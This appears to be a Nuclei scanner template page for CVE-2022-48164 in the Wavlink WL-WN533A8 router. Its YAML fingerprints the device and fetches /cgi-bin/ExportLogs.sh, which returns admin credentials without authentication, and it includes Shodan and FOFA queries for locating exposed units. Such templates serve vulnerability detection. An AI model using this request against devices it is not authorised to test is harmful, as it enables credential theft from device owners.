Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure

ID: CVE-2022-48164

Severity: high

Author: ritikchaddha

Tags: cve,cve2022,wavlink,exposure,wn533a8

Description

An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.

YAML Source

id: CVE-2022-48164

info:
  name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://docs.google.com/document/d/1JgqpBYRxyU0WKDSqkvi4Yo0723k7mrIUeuH9i1eEs8U/edit?tab=t.0
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48164
    cpe: cpe:2.3:o:wavlink:wl-wn533a8_firmware:m33a8.v5030.190716:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavlink
    product: wl-wn533a8_firmware
    shodan-query: html:"WN533A8"
    fofa-query: body="WN533A8"
  tags: cve,cve2022,wavlink,exposure,wn533a8

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "WN533A8")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100d4aa5e4a24016fc11a0b5bc83d55358a9fa9464f1a16bb5b8886a65d588b0c6102204e5cff9a25c473663861cbfdaf73be19db8637122cbf4ab88cb44ca63be05e6d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-48164.yaml"

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